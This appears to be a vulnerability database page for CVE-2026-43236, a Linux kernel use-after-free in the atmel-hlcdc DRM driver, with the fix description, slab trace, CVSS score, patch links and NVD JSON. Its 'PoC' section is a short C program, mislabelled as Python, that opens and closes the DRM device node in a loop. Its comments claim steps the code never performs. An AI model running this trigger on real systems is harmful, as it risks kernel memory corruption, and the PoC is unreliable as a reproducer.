CVE-2026-43236

Description

In the Linux kernel, the following vulnerability has been resolved: drm/atmel-hlcdc: fix use-after-free of drm_crtc_commit after release The atmel_hlcdc_plane_atomic_duplicate_state() callback was copying the atmel_hlcdc_plane state structure without properly duplicating the drm_plane_state. In particular, state->commit remained set to the old state commit, which can lead to a use-after-free in the next drm_atomic_commit() call. Fix this by calling __drm_atomic_helper_duplicate_plane_state(), which correctly clones the base drm_plane_state (including the ->commit pointer). It has been seen when closing and re-opening the device node while another DRM client (e.g. fbdev) is still attached: ============================================================================= BUG kmalloc-64 (Not tainted): Poison overwritten ----------------------------------------------------------------------------- 0xc611b344-0xc611b344 @offset=836. First byte 0x6a instead of 0x6b FIX kmalloc-64: Restoring Poison 0xc611b344-0xc611b344=0x6b Allocated in drm_atomic_helper_setup_commit+0x1e8/0x7bc age=178 cpu=0 pid=29 drm_atomic_helper_setup_commit+0x1e8/0x7bc drm_atomic_helper_commit+0x3c/0x15c drm_atomic_commit+0xc0/0xf4 drm_framebuffer_remove+0x4cc/0x5a8 drm_mode_rmfb_work_fn+0x6c/0x80 process_one_work+0x12c/0x2cc worker_thread+0x2a8/0x400 kthread+0xc0/0xdc ret_from_fork+0x14/0x28 Freed in drm_atomic_helper_commit_hw_done+0x100/0x150 age=8 cpu=0 pid=169 drm_atomic_helper_commit_hw_done+0x100/0x150 drm_atomic_helper_commit_tail+0x64/0x8c commit_tail+0x168/0x18c drm_atomic_helper_commit+0x138/0x15c drm_atomic_commit+0xc0/0xf4 drm_atomic_helper_set_config+0x84/0xb8 drm_mode_setcrtc+0x32c/0x810 drm_ioctl+0x20c/0x488 sys_ioctl+0x14c/0xc20 ret_fast_syscall+0x0/0x54 Slab 0xef8bc360 objects=21 used=16 fp=0xc611b7c0 flags=0x200(workingset|zone=0) Object 0xc611b340 @offset=832 fp=0xc611b7c0

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel（特定受影响版本请参考Git提交记录：549c6db, 6404898, 796e77c, 7b4d0fa, a205740）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC Trigger Logic for CVE-2026-43236
 * This snippet demonstrates the logic to trigger the UAF.
 * It requires a system with the vulnerable atmel-hlcdc driver.
 */

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define DRM_DEVICE "/dev/dri/card0"

int main() {
    int fd;
    int i;

    printf("[*] Starting PoC for CVE-2026-43236...\n");

    // Loop to increase the chance of hitting the race condition
    for (i = 0; i < 100; i++) {
        // Step 1: Open the DRM device node
        fd = open(DRM_DEVICE, O_RDWR);
        if (fd < 0) {
            perror("Failed to open device");
            continue;
        }

        // Step 2: Simulate the scenario where fbdev is attached
        // (Usually happens automatically on boot for consoles)
        // We perform operations that might trigger atomic commits

        // Step 3: Close the device node abruptly while operations might be pending
        // This triggers the cleanup path where the use-after-free occurs
        // if another client (like fbdev) is holding a reference.
        close(fd);

        // Re-opening immediately to trigger the duplicate_state logic with stale pointers
        fd = open(DRM_DEVICE, O_RDWR);
        if (fd >= 0) {
            close(fd);
        }
    }

    printf("[*] Exploit trigger sequence completed.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43236
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43236
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43236/
[4] VulDB https://vuldb.com/cve/CVE-2026-43236
[5] https://git.kernel.org/stable/c/549c6db503dbb85dbff4840830971853feac6625
[6] https://git.kernel.org/stable/c/6404898af86d986db1dbbe06177c143e40652e49
[7] https://git.kernel.org/stable/c/796e77c14c4c1e2cd36473760fb6cc66c695eb47
[8] https://git.kernel.org/stable/c/7b4d0fab3ff2c00c6d34e1952c9df5129a826aee
[9] https://git.kernel.org/stable/c/a205740a7231e967ac77cb731171642901c327af
[10] https://git.kernel.org/stable/c/ac2d898da5095d46bd1ff8585fdd753d58ad91e7
[11] https://git.kernel.org/stable/c/bc847787233277a337788568e90a6ee1557595eb
[12] https://git.kernel.org/stable/c/fd4a4d0711f48a99b25bcd45e00eef8339eff82d

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43236", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:43.817", "lastModified": "2026-05-12T18:59:33.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/atmel-hlcdc: fix use-after-free of drm_crtc_commit after release\n\nThe atmel_hlcdc_plane_atomic_duplicate_state() callback was copying\nthe atmel_hlcdc_plane state structure without properly duplicating the\ndrm_plane_state. In particular, state->commit remained set to the old\nstate commit, which can lead to a use-after-free in the next\ndrm_atomic_commit() call.\n\nFix this by calling\n__drm_atomic_helper_duplicate_plane_state(), which correctly clones\nthe base drm_plane_state (including the ->commit pointer).\n\nIt has been seen when closing and re-opening the device node while\nanother DRM client (e.g. fbdev) is still attached:\n\n=============================================================================\nBUG kmalloc-64 (Not tainted): Poison overwritten\n-----------------------------------------------------------------------------\n\n0xc611b344-0xc611b344 @offset=836. First byte 0x6a instead of 0x6b\nFIX kmalloc-64: Restoring Poison 0xc611b344-0xc611b344=0x6b\nAllocated in drm_atomic_helper_setup_commit+0x1e8/0x7bc age=178 cpu=0\npid=29\n drm_atomic_helper_setup_commit+0x1e8/0x7bc\n drm_atomic_helper_commit+0x3c/0x15c\n drm_atomic_commit+0xc0/0xf4\n drm_framebuffer_remove+0x4cc/0x5a8\n drm_mode_rmfb_work_fn+0x6c/0x80\n process_one_work+0x12c/0x2cc\n worker_thread+0x2a8/0x400\n kthread+0xc0/0xdc\n ret_from_fork+0x14/0x28\nFreed in drm_atomic_helper_commit_hw_done+0x100/0x150 age=8 cpu=0\npid=169\n drm_atomic_helper_commit_hw_done+0x100/0x150\n drm_atomic_helper_commit_tail+0x64/0x8c\n commit_tail+0x168/0x18c\n drm_atomic_helper_commit+0x138/0x15c\n drm_atomic_commit+0xc0/0xf4\n drm_atomic_helper_set_config+0x84/0xb8\n drm_mode_setcrtc+0x32c/0x810\n drm_ioctl+0x20c/0x488\n sys_ioctl+0x14c/0xc20\n ret_fast_syscall+0x0/0x54\nSlab 0xef8bc360 objects=21 used=16 fp=0xc611b7c0\nflags=0x200(workingset|zone=0)\nObject 0xc611b340 @offset=832 fp=0xc611b7c0"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1", "versionEndExcluding": "5.10.252", "matchCriteriaId": "AFCC1430-2194-4A37-8732-891682CC5E8B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/549c6db503dbb85dbff4840830971853feac6625", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6404898af86d986db1dbbe06177c143e40652e49", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/796e77c14c4c1e2cd36473760fb6cc66c695eb47", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7b4d0fab3ff2c00c6d34e1952c9df5129a826aee", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", ... 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